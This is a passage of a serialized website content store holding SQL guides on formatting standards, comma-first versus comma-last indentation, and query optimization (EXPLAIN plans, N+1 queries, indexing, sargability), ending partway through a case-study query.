rules",[44,194050,194051,194054],{},[47,194052,194053],{},"pg_format"," — PostgreSQL-specific formatter",[16,194056,194057],{},"Run formatters in pre-commit hooks or CI pipelines to catch unformatted SQL before it reaches the main branch.",[11,194059,1355],{"id":1354},[41,194061,194062,194065,194068,194071,194074,194077],{},[44,194063,194064],{},"Three major SQL style guides dominate: Holywell (most popular), Mozilla (large-team focus), triSquared (diff-friendly)",[44,194066,194067],{},"The biggest分歧 is leading vs trailing commas — both have valid arguments",[44,194069,194070],{},"Right-aligned keywords improve readability for complex queries; left-aligned is simpler",[44,194072,194073],{},"Indented joins help distinguish join chains in multi-table queries",[44,194075,194076],{},"Auto-formatting is essential — manual enforcement breaks down at scale",[44,194078,194079],{},"Consistency matters more than which standard you pick",[11,194081,286],{"id":285},[16,194083,194084,194085,194087],{},"Format any SQL query instantly with our free ",[98,194086,108693],{"href":108692},". Paste your code, pick a style, and copy the cleaned-up result — no installation required.",[11,194089,321],{"id":320},[41,194091,194092,194097],{},[44,194093,194094,194096],{},[98,194095,178209],{"href":178208}," — core formatting rules and examples",[44,194098,194099,194101],{},[98,194100,178216],{"href":178215}," — writing efficient, maintainable queries",[2043,194103,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":194105},[194106,194107,194111,194112,194113,194114,194115,194116,194117,194118,194119],{"id":193550,"depth":337,"text":193551},{"id":193563,"depth":337,"text":193564,"children":194108},[194109,194110],{"id":193567,"depth":343,"text":193568},{"id":193611,"depth":343,"text":193612},{"id":193667,"depth":337,"text":193668},{"id":193768,"depth":337,"text":193769},{"id":193873,"depth":337,"text":193874},{"id":193931,"depth":337,"text":193932},{"id":193992,"depth":337,"text":193993},{"id":194027,"depth":337,"text":194028},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare major SQL formatting standards and style guides. Learn the differences between naming conventions, indentation rules, and clause formatting across popular frameworks.",{"keywords":194122,"immutable":363},[178241,194123],"sql-formatting-standards-comparison","\u002Fguides\u002Fsql-formatting-standards-comparison",{"title":193545,"description":194120},"guides\u002Fsql-formatting-standards-comparison","mO-HcKas6Gr_3wASYHjrIPlW46Aevln8yQtCWPEio7E",{"id":194129,"title":194130,"body":194131,"date":2070,"description":194490,"extension":361,"meta":194491,"navigation":363,"path":194492,"readingTime":1710,"seo":194493,"stem":194494,"__hash__":194495},"guides\u002Fguides\u002Fsql-indentation-styles.md","SQL Indentation Styles Compared",{"type":8,"value":194132,"toc":194479},[194133,194136,194140,194143,194147,194150,194192,194201,194205,194208,194247,194250,194253,194257,194260,194294,194297,194301,194382,194385,194389,194392,194409,194440,194443,194449,194451,194468,194470,194476],[16,194134,194135],{},"SQL indentation might seem like a matter of personal taste, but the style you choose directly affects how quickly teammates can read, review, and modify queries. In teams where dozens of queries flow through code reviews every week, a consistent indentation style eliminates friction and reduces the chance of misreading a JOIN condition or missing a misplaced comma.",[11,194137,194139],{"id":194138},"the-three-main-indentation-styles","The Three Main Indentation Styles",[16,194141,194142],{},"Most SQL formatting conventions fall into one of three camps: comma-last, comma-first, and aligned. Each has distinct trade-offs in diff friendliness, readability, and tooling support.",[33,194144,194146],{"id":194145},"comma-last-trailing-comma","Comma-Last (Trailing Comma)",[16,194148,194149],{},"The comma-last style places commas at the end of each line, which is the default output of most SQL formatters:",[135,194151,194153],{"className":23599,"code":194152,"language":23601,"meta":141,"style":141},"SELECT\n    id,\n    first_name,\n    last_name,\n    email\nFROM users\nWHERE active = true\nORDER BY last_name;\n",[143,194154,194155,194159,194164,194169,194174,194179,194183,194187],{"__ignoreMap":141},[1560,194156,194157],{"class":1562,"line":1563},[1560,194158,192914],{},[1560,194160,194161],{"class":1562,"line":337},[1560,194162,194163],{},"    id,\n",[1560,194165,194166],{"class":1562,"line":343},[1560,194167,194168],{},"    first_name,\n",[1560,194170,194171],{"class":1562,"line":365},[1560,194172,194173],{},"    last_name,\n",[1560,194175,194176],{"class":1562,"line":889},[1560,194177,194178],{},"    email\n",[1560,194180,194181],{"class":1562,"line":1710},[1560,194182,192884],{},[1560,194184,194185],{"class":1562,"line":1717},[1560,194186,192889],{},[1560,194188,194189],{"class":1562,"line":1747},[1560,194190,194191],{},"ORDER BY last_name;\n",[16,194193,194194,194195,194197,194198,194200],{},"This style mirrors how most programming languages format argument lists. It reads naturally from top to bottom and is what developers expect when they first encounter formatted SQL. However, it has one notable drawback: when you add a column after ",[143,194196,97853],{},", you must edit the ",[143,194199,97853],{}," line to append a comma, which creates a noisier diff.",[33,194202,194204],{"id":194203},"comma-first-leading-comma","Comma-First (Leading Comma)",[16,194206,194207],{},"The comma-first style places commas at the start of each line:",[135,194209,194211],{"className":23599,"code":194210,"language":23601,"meta":141,"style":141},"SELECT\n    id\n  , first_name\n  , last_name\n  , email\nFROM users\nWHERE active = true\nORDER BY last_name;\n",[143,194212,194213,194217,194222,194227,194231,194235,194239,194243],{"__ignoreMap":141},[1560,194214,194215],{"class":1562,"line":1563},[1560,194216,192914],{},[1560,194218,194219],{"class":1562,"line":337},[1560,194220,194221],{},"    id\n",[1560,194223,194224],{"class":1562,"line":343},[1560,194225,194226],{},"  , first_name\n",[1560,194228,194229],{"class":1562,"line":365},[1560,194230,193830],{},[1560,194232,194233],{"class":1562,"line":889},[1560,194234,193835],{},[1560,194236,194237],{"class":1562,"line":1710},[1560,194238,192884],{},[1560,194240,194241],{"class":1562,"line":1717},[1560,194242,192889],{},[1560,194244,194245],{"class":1562,"line":1747},[1560,194246,194191],{},[16,194248,194249],{},"The primary advantage is cleaner diffs. Adding or removing a column only modifies a single line — no need to touch the preceding line to add or remove a trailing comma. Commenting out a line is also simpler since you do not need to worry about orphaned commas.",[16,194251,194252],{},"Critics argue that the leading comma looks unfamiliar and breaks the natural reading flow. The visual weight of commas at the left margin can also make it harder to distinguish SELECT columns from WHERE clauses at a glance.",[33,194254,194256],{"id":194255},"aligned-fixed-width","Aligned (Fixed-Width)",[16,194258,194259],{},"The aligned style pads column names to a fixed width so that data types, aliases, or operators line up vertically:",[135,194261,194263],{"className":23599,"code":194262,"language":23601,"meta":141,"style":141},"SELECT id         INT,\n       first_name VARCHAR(50),\n       last_name  VARCHAR(50),\n       email      VARCHAR(100)\nFROM   users\nWHERE  active = true;\n",[143,194264,194265,194270,194275,194280,194285,194289],{"__ignoreMap":141},[1560,194266,194267],{"class":1562,"line":1563},[1560,194268,194269],{},"SELECT id         INT,\n",[1560,194271,194272],{"class":1562,"line":337},[1560,194273,194274],{},"       first_name VARCHAR(50),\n",[1560,194276,194277],{"class":1562,"line":343},[1560,194278,194279],{},"       last_name  VARCHAR(50),\n",[1560,194281,194282],{"class":1562,"line":365},[1560,194283,194284],{},"       email      VARCHAR(100)\n",[1560,194286,194287],{"class":1562,"line":889},[1560,194288,193895],{},[1560,194290,194291],{"class":1562,"line":1710},[1560,194292,194293],{},"WHERE  active = true;\n",[16,194295,194296],{},"Alignment creates a tabular, scannable layout that is especially useful in DDL statements or queries with many columns and aliases. The downside is maintenance: renaming a column or extending a length necessitates re-aligning every subsequent line, which generates large diffs for trivial changes.",[11,194298,194300],{"id":194299},"choosing-a-style-for-your-team","Choosing a Style for Your Team",[193,194302,194303,194318],{},[196,194304,194305],{},[199,194306,194307,194309,194312,194315],{},[202,194308,1234],{},[202,194310,194311],{},"Comma-Last",[202,194313,194314],{},"Comma-First",[202,194316,194317],{},"Aligned",[211,194319,194320,194334,194348,194358,194369],{},[199,194321,194322,194325,194328,194331],{},[216,194323,194324],{},"Diff cleanliness",[216,194326,194327],{},"Moderate — adding a line edits two lines",[216,194329,194330],{},"Best — each line is independent",[216,194332,194333],{},"Worst — changes cascade",[199,194335,194336,194339,194342,194345],{},[216,194337,194338],{},"Reading flow",[216,194340,194341],{},"Natural",[216,194343,194344],{},"Unconventional",[216,194346,194347],{},"Highly scannable",[199,194349,194350,194352,194354,194356],{},[216,194351,137442],{},[216,194353,5921],{},[216,194355,10731],{},[216,194357,84702],{},[199,194359,194360,194363,194365,194367],{},[216,194361,194362],{},"Maintenance cost",[216,194364,15466],{},[216,194366,15466],{},[216,194368,15446],{},[199,194370,194371,194374,194376,194379],{},[216,194372,194373],{},"Commenting ease",[216,194375,15457],{},[216,194377,194378],{},"Easy",[216,194380,194381],{},"Hard",[16,194383,194384],{},"For most teams, comma-last hits the best balance between readability and tool compatibility. Comma-first is worth considering if your repository sees heavy collaborative editing on large queries. Aligned formatting is best reserved for DDL files or documentation that changes infrequently.",[11,194386,194388],{"id":194387},"enforcing-style-automatically","Enforcing Style Automatically",[16,194390,194391],{},"Regardless of which style you pick, the real productivity gain comes from automation. Manual formatting discussions in code reviews waste time and introduce inconsistency.",[16,194393,194394,194395,1459,194397,1877,194399,194401,194402,1531,194405,194408],{},"Use a formatter like ",[143,194396,108381],{},[143,194398,194053],{},[143,194400,194041],{}," and commit the configuration to your repository. Most formatters support a ",[143,194403,194404],{},"--comma-start",[143,194406,194407],{},"--comma-end"," flag, and some allow custom alignment rules.",[135,194410,194412],{"className":6951,"code":194411,"language":6953,"meta":141,"style":141},"# sqlfluff with comma-leading style\nsqlfluff format --dialect postgres --layout comma-leading queries\u002F\n",[143,194413,194414,194419],{"__ignoreMap":141},[1560,194415,194416],{"class":1562,"line":1563},[1560,194417,194418],{"class":1649},"# sqlfluff with comma-leading style\n",[1560,194420,194421,194423,194425,194428,194431,194434,194437],{"class":1562,"line":337},[1560,194422,108381],{"class":1566},[1560,194424,131089],{"class":5634},[1560,194426,194427],{"class":1576}," --dialect",[1560,194429,194430],{"class":5634}," postgres",[1560,194432,194433],{"class":1576}," --layout",[1560,194435,194436],{"class":5634}," comma-leading",[1560,194438,194439],{"class":5634}," queries\u002F\n",[16,194441,194442],{},"Add the formatter to your CI pipeline so that unformatted queries fail the build. This removes formatting debates entirely from code reviews and ensures every merge follows the same rules.",[16,194444,194445,194446,194448],{},"If your IDE supports it, configure format-on-save for ",[143,194447,192485],{}," files. Combined with a shared config file, this guarantees that every developer's output matches the team standard without manual effort.",[11,194450,1355],{"id":1354},[41,194452,194453,194456,194459,194462,194465],{},[44,194454,194455],{},"Comma-last is the most widely recognized style and works with every SQL formatter out of the box.",[44,194457,194458],{},"Comma-first produces the cleanest diffs when adding or removing columns in collaborative environments.",[44,194460,194461],{},"Aligned indentation improves scanability but creates high-maintenance diffs in frequently edited queries.",[44,194463,194464],{},"Automate formatting with a shared tool configuration and CI enforcement — do not rely on manual review.",[44,194466,194467],{},"Consistency matters more than the specific style you choose; pick one and enforce it everywhere.",[11,194469,286],{"id":285},[16,194471,194472,194473,194475],{},"Ready to standardize your SQL formatting? Paste unformatted queries into the ",[98,194474,108693],{"href":108692}," to instantly apply consistent indentation, uppercase keywords, and line breaks across your entire codebase.",[2043,194477,194478],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":194480},[194481,194486,194487,194488,194489],{"id":194138,"depth":337,"text":194139,"children":194482},[194483,194484,194485],{"id":194145,"depth":343,"text":194146},{"id":194203,"depth":343,"text":194204},{"id":194255,"depth":343,"text":194256},{"id":194299,"depth":337,"text":194300},{"id":194387,"depth":337,"text":194388},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Comma-first, comma-last, and aligned indentation styles for readable SQL queries.",{"immutable":363},"\u002Fguides\u002Fsql-indentation-styles",{"title":194130,"description":194490},"guides\u002Fsql-indentation-styles","JVhxmi5w6GrXtRtr9zeBZf-st-JSl2vzChsJLuq5IoM",{"id":194497,"title":192788,"body":194498,"date":2070,"description":195388,"extension":361,"meta":195389,"navigation":363,"path":192787,"readingTime":1717,"seo":195392,"stem":195393,"__hash__":195394},"guides\u002Fguides\u002Fsql-query-optimization.md",{"type":8,"value":194499,"toc":195368},[194500,194504,194507,194510,194514,194517,194520,194553,194556,194582,194585,194615,194639,194642,194681,194684,194688,194691,194700,194703,194759,194762,194775,194778,194782,194784,194790,194862,194867,194871,194874,194899,194902,194947,194950,194954,194957,194995,194998,195012,195016,195019,195070,195073,195133,195137,195140,195190,195193,195213,195216,195277,195280,195295,195298,195300,195323,195325,195344,195346,195352,195354,195366],[11,194501,194503],{"id":194502},"why-query-performance-matters","Why Query Performance Matters",[16,194505,194506],{},"A slow query does not just waste time — it cascades. One unoptimized query locks rows longer, consumes connection pool slots, and delays every other request hitting the same database. Under load, three poorly tuned queries can bring down an entire service.",[16,194508,194509],{},"The good news: most slow queries share the same small set of root causes. Learn to spot them, and you fix the majority of your performance problems.",[11,194511,194513],{"id":194512},"reading-explain-plans","Reading EXPLAIN Plans",[16,194515,194516],{},"Every database provides a way to see its execution plan before running the query. This is your primary diagnostic tool.",[33,194518,192556],{"id":194519},"postgresql",[135,194521,194523],{"className":23599,"code":194522,"language":23601,"meta":141,"style":141},"EXPLAIN ANALYZE\nSELECT u.name, COUNT(o.id)\nFROM users u\nJOIN orders o ON u.id = o.user_id\nWHERE o.created_at > '2024-01-01'\nGROUP BY u.name;\n",[143,194524,194525,194530,194535,194539,194543,194548],{"__ignoreMap":141},[1560,194526,194527],{"class":1562,"line":1563},[1560,194528,194529],{},"EXPLAIN ANALYZE\n",[1560,194531,194532],{"class":1562,"line":337},[1560,194533,194534],{},"SELECT u.name, COUNT(o.id)\n",[1560,194536,194537],{"class":1562,"line":343},[1560,194538,192939],{},[1560,194540,194541],{"class":1562,"line":365},[1560,194542,193960],{},[1560,194544,194545],{"class":1562,"line":889},[1560,194546,194547],{},"WHERE o.created_at > '2024-01-01'\n",[1560,194549,194550],{"class":1562,"line":1710},[1560,194551,194552],{},"GROUP BY u.name;\n",[16,194554,194555],{},"Key things to look for:",[41,194557,194558,194564,194570,194576],{},[44,194559,194560,194563],{},[47,194561,194562],{},"Seq Scan"," — the database reads the entire table. Acceptable for small tables, a problem for large ones.",[44,194565,194566,194569],{},[47,194567,194568],{},"Index Scan"," — the database uses an index. This is what you want for large filtered queries.",[44,194571,194572,194575],{},[47,194573,194574],{},"Nested Loop"," — fine for small result sets, expensive for large ones.",[44,194577,194578,194581],{},[47,194579,194580],{},"Hash Join \u002F Merge Join"," — better for joining large tables.",[33,194583,192566],{"id":194584},"mysql",[135,194586,194588],{"className":23599,"code":194587,"language":23601,"meta":141,"style":141},"EXPLAIN\nSELECT u.name, COUNT(o.id)\nFROM users u\nJOIN orders o ON u.id = o.user_id\nWHERE o.created_at > '2024-01-01'\nGROUP BY u.name;\n",[143,194589,194590,194595,194599,194603,194607,194611],{"__ignoreMap":141},[1560,194591,194592],{"class":1562,"line":1563},[1560,194593,194594],{},"EXPLAIN\n",[1560,194596,194597],{"class":1562,"line":337},[1560,194598,194534],{},[1560,194600,194601],{"class":1562,"line":343},[1560,194602,192939],{},[1560,194604,194605],{"class":1562,"line":365},[1560,194606,193960],{},[1560,194608,194609],{"class":1562,"line":889},[1560,194610,194547],{},[1560,194612,194613],{"class":1562,"line":1710},[1560,194614,194552],{},[16,194616,194617,194618,194620,194621,194624,194625,1531,194628,194631,194632,1531,194635,194638],{},"Check the ",[143,194619,81641],{}," column: ",[143,194622,194623],{},"ALL"," means a full table scan. ",[143,194626,194627],{},"ref",[143,194629,194630],{},"range"," means index usage. ",[143,194633,194634],{},"Extra: Using filesort",[143,194636,194637],{},"Using temporary"," signals expensive operations.",[33,194640,192576],{"id":194641},"sql-server",[135,194643,194645],{"className":23599,"code":194644,"language":23601,"meta":141,"style":141},"SET STATISTICS IO ON;\nSET STATISTICS TIME ON;\n\nSELECT u.name, COUNT(o.id)\nFROM users u\nJOIN orders o ON u.id = o.user_id\nWHERE o.created_at > '2024-01-01'\nGROUP BY u.name;\n",[143,194646,194647,194652,194657,194661,194665,194669,194673,194677],{"__ignoreMap":141},[1560,194648,194649],{"class":1562,"line":1563},[1560,194650,194651],{},"SET STATISTICS IO ON;\n",[1560,194653,194654],{"class":1562,"line":337},[1560,194655,194656],{},"SET STATISTICS TIME ON;\n",[1560,194658,194659],{"class":1562,"line":343},[1560,194660,1702],{"emptyLinePlaceholder":363},[1560,194662,194663],{"class":1562,"line":365},[1560,194664,194534],{},[1560,194666,194667],{"class":1562,"line":889},[1560,194668,192939],{},[1560,194670,194671],{"class":1562,"line":1710},[1560,194672,193960],{},[1560,194674,194675],{"class":1562,"line":1717},[1560,194676,194547],{},[1560,194678,194679],{"class":1562,"line":1747},[1560,194680,194552],{},[16,194682,194683],{},"Focus on logical reads — the number of 8 KB pages read. Lower is better.",[11,194685,194687],{"id":194686},"how-formatting-reveals-performance-issues","How Formatting Reveals Performance Issues",[16,194689,194690],{},"Well-formatted SQL makes performance problems visible. Consider this unformatted query:",[135,194692,194694],{"className":23599,"code":194693,"language":23601,"meta":141,"style":141},"select * from orders o join customers c on o.customer_id=c.id join order_items oi on o.id=oi.order_id join products p on oi.product_id=p.id where o.status='pending' and c.country='US' and p.category='Electronics';\n",[143,194695,194696],{"__ignoreMap":141},[1560,194697,194698],{"class":1562,"line":1563},[1560,194699,194693],{},[16,194701,194702],{},"Hard to read, harder to optimize. Now format it:",[135,194704,194706],{"className":23599,"code":194705,"language":23601,"meta":141,"style":141},"SELECT *\nFROM orders o\nJOIN customers c\n    ON o.customer_id = c.id\nJOIN order_items oi\n    ON o.id = oi.order_id\nJOIN products p\n    ON oi.product_id = p.id\nWHERE o.status = 'pending'\n    AND c.country = 'US'\n    AND p.category = 'Electronics';\n",[143,194707,194708,194712,194716,194720,194724,194729,194734,194739,194744,194749,194754],{"__ignoreMap":141},[1560,194709,194710],{"class":1562,"line":1563},[1560,194711,177790],{},[1560,194713,194714],{"class":1562,"line":337},[1560,194715,192213],{},[1560,194717,194718],{"class":1562,"line":343},[1560,194719,193113],{},[1560,194721,194722],{"class":1562,"line":365},[1560,194723,193118],{},[1560,194725,194726],{"class":1562,"line":889},[1560,194727,194728],{},"JOIN order_items oi\n",[1560,194730,194731],{"class":1562,"line":1710},[1560,194732,194733],{},"    ON o.id = oi.order_id\n",[1560,194735,194736],{"class":1562,"line":1717},[1560,194737,194738],{},"JOIN products p\n",[1560,194740,194741],{"class":1562,"line":1747},[1560,194742,194743],{},"    ON oi.product_id = p.id\n",[1560,194745,194746],{"class":1562,"line":2507},[1560,194747,194748],{},"WHERE o.status = 'pending'\n",[1560,194750,194751],{"class":1562,"line":2524},[1560,194752,194753],{},"    AND c.country = 'US'\n",[1560,194755,194756],{"class":1562,"line":2529},[1560,194757,194758],{},"    AND p.category = 'Electronics';\n",[16,194760,194761],{},"Now the anti-patterns jump out:",[41,194763,194764,194769,194772],{},[44,194765,194766,194768],{},[143,194767,178108],{}," — fetching every column from four tables",[44,194770,194771],{},"Three JOINs with no index hints visible",[44,194773,194774],{},"Multiple WHERE conditions that might each need an index",[16,194776,194777],{},"Formatting does not fix performance, but it reveals where to look.",[11,194779,194781],{"id":194780},"common-performance-anti-patterns","Common Performance Anti-Patterns",[33,194783,178108],{"id":193052},[16,194785,194786,194787,194789],{},"Never use ",[143,194788,178108],{}," in production queries. It pulls every column from every joined table, including ones you do not need.",[135,194791,194793],{"className":23599,"code":194792,"language":23601,"meta":141,"style":141},"-- Bad: fetches 20+ columns across 4 tables\nSELECT *\nFROM orders o\nJOIN customers c ON o.customer_id = c.id\nWHERE o.status = 'shipped';\n\n-- Good: fetches only what you need\nSELECT\n    o.id,\n    o.order_date,\n    c.name,\n    c.email\nFROM orders o\nJOIN customers c ON o.customer_id = c.id\nWHERE o.status = 'shipped';\n",[143,194794,194795,194800,194804,194808,194812,194817,194821,194826,194830,194835,194840,194845,194850,194854,194858],{"__ignoreMap":141},[1560,194796,194797],{"class":1562,"line":1563},[1560,194798,194799],{},"-- Bad: fetches 20+ columns across 4 tables\n",[1560,194801,194802],{"class":1562,"line":337},[1560,194803,177790],{},[1560,194805,194806],{"class":1562,"line":343},[1560,194807,192213],{},[1560,194809,194810],{"class":1562,"line":365},[1560,194811,192218],{},[1560,194813,194814],{"class":1562,"line":889},[1560,194815,194816],{},"WHERE o.status = 'shipped';\n",[1560,194818,194819],{"class":1562,"line":1710},[1560,194820,1702],{"emptyLinePlaceholder":363},[1560,194822,194823],{"class":1562,"line":1717},[1560,194824,194825],{},"-- Good: fetches only what you need\n",[1560,194827,194828],{"class":1562,"line":1747},[1560,194829,192914],{},[1560,194831,194832],{"class":1562,"line":2507},[1560,194833,194834],{},"    o.id,\n",[1560,194836,194837],{"class":1562,"line":2524},[1560,194838,194839],{},"    o.order_date,\n",[1560,194841,194842],{"class":1562,"line":2529},[1560,194843,194844],{},"    c.name,\n",[1560,194846,194847],{"class":1562,"line":2534},[1560,194848,194849],{},"    c.email\n",[1560,194851,194852],{"class":1562,"line":2542},[1560,194853,192213],{},[1560,194855,194856],{"class":1562,"line":2558},[1560,194857,192218],{},[1560,194859,194860],{"class":1562,"line":2570},[1560,194861,194816],{},[16,194863,194864,194866],{},[143,194865,178108],{}," also breaks when the table schema changes — adding a column silently increases your result set size.",[33,194868,194870],{"id":194869},"n1-queries","N+1 Queries",[16,194872,194873],{},"This is the most common ORM-generated performance problem. Instead of one query with a JOIN, the application runs one query to get a list, then one additional query per row.",[135,194875,194877],{"className":8259,"code":194876,"language":8261,"meta":141,"style":141},"# N+1 pattern — 1 + 1000 queries\nusers = db.query(\"SELECT id, name FROM users WHERE active = true\")\nfor user in users:\n    orders = db.query(\"SELECT COUNT(*) FROM orders WHERE user_id = ?\", user.id)\n",[143,194878,194879,194884,194889,194894],{"__ignoreMap":141},[1560,194880,194881],{"class":1562,"line":1563},[1560,194882,194883],{},"# N+1 pattern — 1 + 1000 queries\n",[1560,194885,194886],{"class":1562,"line":337},[1560,194887,194888],{},"users = db.query(\"SELECT id, name FROM users WHERE active = true\")\n",[1560,194890,194891],{"class":1562,"line":343},[1560,194892,194893],{},"for user in users:\n",[1560,194895,194896],{"class":1562,"line":365},[1560,194897,194898],{},"    orders = db.query(\"SELECT COUNT(*) FROM orders WHERE user_id = ?\", user.id)\n",[16,194900,194901],{},"Replace with a single aggregated query:",[135,194903,194905],{"className":23599,"code":194904,"language":23601,"meta":141,"style":141},"SELECT\n    u.id,\n    u.name,\n    COUNT(o.id) AS order_count\nFROM users u\nLEFT JOIN orders o\n    ON u.id = o.user_id\nWHERE u.active = true\nGROUP BY u.id, u.name;\n",[143,194906,194907,194911,194915,194919,194924,194928,194933,194938,194942],{"__ignoreMap":141},[1560,194908,194909],{"class":1562,"line":1563},[1560,194910,192914],{},[1560,194912,194913],{"class":1562,"line":337},[1560,194914,192919],{},[1560,194916,194917],{"class":1562,"line":343},[1560,194918,192924],{},[1560,194920,194921],{"class":1562,"line":365},[1560,194922,194923],{},"    COUNT(o.id) AS order_count\n",[1560,194925,194926],{"class":1562,"line":889},[1560,194927,192939],{},[1560,194929,194930],{"class":1562,"line":1710},[1560,194931,194932],{},"LEFT JOIN orders o\n",[1560,194934,194935],{"class":1562,"line":1717},[1560,194936,194937],{},"    ON u.id = o.user_id\n",[1560,194939,194940],{"class":1562,"line":1747},[1560,194941,192954],{},[1560,194943,194944],{"class":1562,"line":2507},[1560,194945,194946],{},"GROUP BY u.id, u.name;\n",[16,194948,194949],{},"One query instead of a thousand. The difference is orders of magnitude.",[33,194951,194953],{"id":194952},"missing-indexes","Missing Indexes",[16,194955,194956],{},"Every column in a WHERE, JOIN, or ORDER BY clause is a candidate for an index. Without indexes, the database scans the entire table.",[135,194958,194960],{"className":23599,"code":194959,"language":23601,"meta":141,"style":141},"-- This query scans all 5 million rows without an index\nSELECT id, name, email\nFROM users\nWHERE email = 'user@example.com';\n\n-- Add an index\nCREATE INDEX idx_users_email ON users(email);\n",[143,194961,194962,194967,194972,194976,194981,194985,194990],{"__ignoreMap":141},[1560,194963,194964],{"class":1562,"line":1563},[1560,194965,194966],{},"-- This query scans all 5 million rows without an index\n",[1560,194968,194969],{"class":1562,"line":337},[1560,194970,194971],{},"SELECT id, name, email\n",[1560,194973,194974],{"class":1562,"line":343},[1560,194975,192884],{},[1560,194977,194978],{"class":1562,"line":365},[1560,194979,194980],{},"WHERE email = 'user@example.com';\n",[1560,194982,194983],{"class":1562,"line":889},[1560,194984,1702],{"emptyLinePlaceholder":363},[1560,194986,194987],{"class":1562,"line":1710},[1560,194988,194989],{},"-- Add an index\n",[1560,194991,194992],{"class":1562,"line":1717},[1560,194993,194994],{},"CREATE INDEX idx_users_email ON users(email);\n",[16,194996,194997],{},"Indexing rules:",[41,194999,195000,195003,195006,195009],{},[44,195001,195002],{},"Index columns used in WHERE clauses with high selectivity",[44,195004,195005],{},"Index foreign key columns — JOIN performance depends on them",[44,195007,195008],{},"Composite indexes for multi-column filters — put the most selective column first",[44,195010,195011],{},"Avoid over-indexing — each index slows writes (INSERT, UPDATE, DELETE)",[33,195013,195015],{"id":195014},"sargability-violations","Sargability Violations",[16,195017,195018],{},"A \"sargable\" predicate is one where the database can use an index. Wrapping a column in a function makes it non-sargable.",[135,195020,195022],{"className":23599,"code":195021,"language":23601,"meta":141,"style":141},"-- Non-sargable: function on indexed column\nSELECT *\nFROM orders\nWHERE DATE(created_at) = '2024-01-15';\n\n-- Sargable: range condition on raw column\nSELECT *\nFROM orders\nWHERE created_at >= '2024-01-15'\n    AND created_at \u003C '2024-01-16';\n",[143,195023,195024,195029,195033,195038,195043,195047,195052,195056,195060,195065],{"__ignoreMap":141},[1560,195025,195026],{"class":1562,"line":1563},[1560,195027,195028],{},"-- Non-sargable: function on indexed column\n",[1560,195030,195031],{"class":1562,"line":337},[1560,195032,177790],{},[1560,195034,195035],{"class":1562,"line":343},[1560,195036,195037],{},"FROM orders\n",[1560,195039,195040],{"class":1562,"line":365},[1560,195041,195042],{},"WHERE DATE(created_at) = '2024-01-15';\n",[1560,195044,195045],{"class":1562,"line":889},[1560,195046,1702],{"emptyLinePlaceholder":363},[1560,195048,195049],{"class":1562,"line":1710},[1560,195050,195051],{},"-- Sargable: range condition on raw column\n",[1560,195053,195054],{"class":1562,"line":1717},[1560,195055,177790],{},[1560,195057,195058],{"class":1562,"line":1747},[1560,195059,195037],{},[1560,195061,195062],{"class":1562,"line":2507},[1560,195063,195064],{},"WHERE created_at >= '2024-01-15'\n",[1560,195066,195067],{"class":1562,"line":2524},[1560,195068,195069],{},"    AND created_at \u003C '2024-01-16';\n",[16,195071,195072],{},"Common non-sargable patterns to avoid:",[193,195074,195075,195085],{},[196,195076,195077],{},[199,195078,195079,195082],{},[202,195080,195081],{},"Non-Sargable",[202,195083,195084],{},"Sargable Alternative",[211,195086,195087,195097,195109,195121],{},[199,195088,195089,195094],{},[216,195090,195091],{},[143,195092,195093],{},"LOWER(email) = 'test@example.com'",[216,195095,195096],{},"Use case-insensitive collation",[199,195098,195099,195104],{},[216,195100,195101],{},[143,195102,195103],{},"YEAR(created_at) = 2024",[216,195105,195106],{},[143,195107,195108],{},"created_at >= '2024-01-01' AND created_at \u003C '2025-01-01'",[199,195110,195111,195116],{},[216,195112,195113],{},[143,195114,195115],{},"SUBSTRING(name, 1, 3) = 'ABC'",[216,195117,195118],{},[143,195119,195120],{},"name LIKE 'ABC%'",[199,195122,195123,195128],{},[216,195124,195125],{},[143,195126,195127],{},"amount \u002F 2 > 50",[216,195129,195130],{},[143,195131,195132],{},"amount > 100",[11,195134,195136],{"id":195135},"optimization-case-study","Optimization Case Study",[16,195138,195139],{},"A reporting query took 45 seconds in production. Here is the original:",[135,195141,195143],{"className":23599,"code":195142,"language":23601,"meta":141,"style":141},"SELECT c.name, SUM(p.amount) as total\nFROM customers c\nJOIN payments p ON c.id = p.customer_id\nWHERE LOWER(c.country) = 'us'\n    AND YEAR(p.payment_date) = 2024\n    AND p.status != 'failed'\nGROUP BY c.name\nHAVING SUM(p.amount) > 500\nORDER BY total DESC;\n",[143,195144,195145,195150,195155,195160,195165,195170,195175,195180,195185],{"__ignoreMap":141},[1560,195146,195147],{"class":1562,"line":1563},[1560,195148,195149],{},"SELECT c.name, SUM(p.amount) as total\n",[1560,195151,195152],{"class":1562,"line":337},[1560,195153,195154],{},"FROM customers c\n",[1560,195156,195157],{"class":1562,"line":343},[1560,195158,195159],{},"JOIN payments p ON c.id = p.customer_id\n",[1560,195161,195162],{"class":1562,"line":365},[1560,195163,195164],{},"WHERE LOWER(c.country) = 'us'\n",[1560,195166,195167],{"class":1562,"line":889},[1560,195168,195169],{},"    AND YEAR(p.payment_date) = 2024\n",[1560,195171,195172],{"class":1562,"line":1710},[1560,195173,195174],{},"    AND p.status != 'failed'\n",[1560,195176,195177],{"class":1562,"line":1717},[1560,195178,195179],{},"GROUP BY 